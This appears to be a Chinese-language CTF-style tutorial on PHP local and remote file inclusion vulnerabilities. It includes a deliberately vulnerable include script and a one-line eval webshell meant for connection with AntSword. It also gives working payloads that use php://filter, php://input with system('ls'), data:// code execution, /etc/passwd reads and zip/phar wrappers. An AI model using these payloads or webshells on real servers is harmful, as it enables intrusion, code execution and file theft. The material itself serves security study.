什么是文件包含漏洞?

在PHP中,我们为了使代码更灵活,往往将可重复使用的代码通过文件包含函数包含起来,进行动态调用,文件包含函数的参数没有经过严格的过滤,可以包含其他恶意文件,造成文件包含漏洞。

代码分析

<?php
$file = $_GET['name'];
include($file);
?>

把一个GET请求的参数name传给了一个变量file,然后包含了这个变量。但是,PHP并没有对$_GET[‘name’]参数进行严格过滤,被include函数直接包含,我们可以修改$_GET[‘name’]的值,包含自己想看的文件。

文件包含函数

  1. include():遇到包含文件不存在,或是出错的时候,不停止运行,并报错, include 结构会发出一条 E_WARNING
  2. include_once():唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true
  3. require():遇到包含文件不存在,或是出错的时候,就停止运行,并报错,在出错时产生 E_COMPILE_ERROR 级别的错误
  4. require_once:唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含

读取文件函数

highlight_file(高亮),show_source,readfile,file_get_contents(读取远程文件),fopen,file

文件包含漏洞利用条件

1.需要在php.ini中设置两个参数:

allow_url_fopen=on file_get_contents()读取

allow _url_include=on include,require包含远程文件

2.文件包含函数中存在动态变量

3.能够控制动态变量

版本

PHP4存在远程和本地包含,PHP5只存在本地包含(bushi),应该是开启allow _url_include=on 都可以进行远程文件包含

感谢订正,i了😍 传送门

文件包含漏洞分类

LFI(Local File Inclusion)

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。

  • 包含同目录下的文件
  • 目录遍历 ../../../../
  • 包含图片木马
  • 包含日志
  • 00截断
  • 日志默认路径
  • web中间件默认配置
  • 包含session
  • 包含/proc/self/environ文件
  • 包含临时文件
  • 包含data:或php://input等伪协议

在本地文件WWW目录下面新建一个文件夹为include

include.php

<?php
echo "include";
eval($_POST[cmd]);
?>

index.php

<?php
$file = $_GET['file'];
if(isset($file)){
include("$file"); //可以进行本地文件包含,获取include.php的内容
//require();
//include();
}else{
echo "file fail";
}

?>

在include.php里面写入一句话木马,用蚁剑连接,就会得到整个目录

查看上传日志文件,也可以把一句话木马传到日志里面

RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。

要实现远程文件包含需要allow_url_fopen和allow_url_include都开启

  • http
  • https
  • ftp

文件包含漏洞姿势

PHP伪协议

1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

php://filter

php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,作用是作为一个“中间流”来处理其他流。

php://filter四个参数:

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

过滤器:

1.字符串过滤器
字符串过滤器 作用
string.rot13 等同于str_rot13(),rot13变换
string.toupper 等同于strtoupper(),转大写字母
string.tolower 等同于strtolower(),转小写字母
string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
2.转换过滤器
转换过滤器 作用
convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
3.压缩过滤器
压缩过滤器 作用
zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。
4.加密过滤器
加密过滤器 作用
mcrypt.* libmcrypt 对称加密算法
mdecrypt.* libmcrypt 对称解密算法
读取数据:
?file=php://filter/read=convert.base64-encode/resource=flag.php //读取文件源码(针对php文件需要base64编码)

?file=php://filter/resource=flag.php

?file=php://filter/convert.base64-encode/resource=flag.php

?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

?file=php://filter/read=string.toupper/resource=flag.php
?file=php://filter/read=string.toupper|string.rot13/resource=flag.php
写入数据:
?file=php://filter/write=string.rot13/resource=example.txt",“Hello World”

php://input

php://input是php语言中一个只读的数据流;通过”php://input”,可以读取从Http客户端以POST方式提交、请求头“Content-Type”值非*multipart/form-data*“**的所有数据;”php://input”一般用来读取POST上来,除已被处理以外的剩余数据。

<?php include($_GET['file']);?>

php://input + [POST DATA] 执行PHP代码

GET:  ?file=php://input
POST: <?php system('ls');?>

file:// 协议

用于访问本地文件系统,在CTF中通常用来读取本地文件

file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen()file_get_contents()include_path 会可选地搜索,也作为相对的路径。

linux下:?file=file:///etc/passwd
windows下:?file=file:///E:\phpStudy\WWW\code\phpinfo.php
/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext
  • [文件的相对路径和文件名] ?file=./phpinfo.txt
  • file://[文件的绝对路径和文件名] ?file=file://D:\phpstudy\www\phpinfo.txt
  • [http://网络路径和文件名] ?file=http://127.0.0.1/phpinfo.txt (常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。)

data:// 协议

PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

data://text/plain,
data://text/plain;base64,

?file=data://text/plain,<?php%20phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

zip:// & bzip2:// & zlib:// 协议

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)

压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
compress.bzip2://file.bz2

压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
compress.zlib://file.gz

压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

ftp://

ftp:// – ftps:// — 访问 FTP(s) URLs

允许通过 FTP 读取存在的文件,以及创建新文件。 如果服务器不支持被动(passive)模式的 FTP,连接会失败。

打开文件后你既可以读也可以写,但是不能同时进行。 当远程文件已经存在于 ftp 服务器上,如果尝试打开并写入文件的时候, 未指定上下文(context)选项 overwrite,连接会失败。 如果要通过 FTP 覆盖存在的文件, 指定上下文(context)的 overwrite 选项来打开、写入。 另外可使用 FTP 扩展来代替。

如果你设置了 php.ini 中的 from 指令, 这个值会作为匿名(anonymous)ftp 的密码。

http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com

phar:// 协议

这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?file=phar://压缩包/内部文件

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt